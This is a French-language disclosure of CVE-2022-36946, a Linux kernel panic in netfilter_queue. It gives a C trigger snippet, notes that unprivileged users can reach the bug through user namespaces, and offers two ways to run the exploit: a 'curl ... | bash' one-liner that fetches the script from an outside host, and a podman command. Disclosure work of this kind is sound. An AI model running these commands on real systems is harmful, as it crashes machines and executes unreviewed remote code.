
CVE-2022-36946 panique du noyau linux dans netfilter_queue
Signalé par : Domingo Dirutigliano et Nicola Guerrera
Alors que nous travaillions sur firegex, notre pare-feu applicatif pour les compétitions CTF Attaque-Défense, nous sommes tombés sur quelques paniques du noyau.
Ce comportement étrange a ensuite été isolé et analysé, conduisant à la découverte de cette faille de sécurité potentielle dans le module netfilter, plus précisément avec nfnetlink.
Le noyau panique lors de l'envoi d'un verdict nf_queue avec un attribut nfta_payload de 0 octet.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Cela se produit car la pile IP/IPv6 extrait l'en-tête IP(v6) du paquet après le hook d'entrée.
Donc, si l'utilisateur tronque le paquet en dessous de la taille de l'en-tête, cet appel à skb_pull() produira un skb mal formé entraînant une panique.
Essayez en exécutant curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash également avec un utilisateur non privilégié (plus de détails ci-dessous).
En utilisant les espaces de noms Linux, en particulier les espaces de noms utilisateur (activés via kernel.unprivileged_userns_clone=1), un utilisateur normal peut créer un espace de noms réseau, lui permettant d'utiliser les mêmes primitives du noyau qui déclenchent la panique.
Cela vous permettra d'utiliser la vulnérabilité sans avoir les droits root.
Ce scénario n'est pas rare : par exemple podman utilise cette option pour exécuter ses conteneurs (sans root), et sur certaines distributions cette option est activée par défaut.
Vous pouvez également essayer d'exécuter l'exploit sans privilèges root en exécutant :
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
ou si vous voulez le tester à la volée (seuls tar et curl doivent être installés) :
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Corrigé dans le noyau Linux 5.19 voir la diff
Correctif original par l'équipe de sécurité du noyau Linux ici
Cela a fonctionné à la 6e tentative, donc nous avons gardé le nom.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing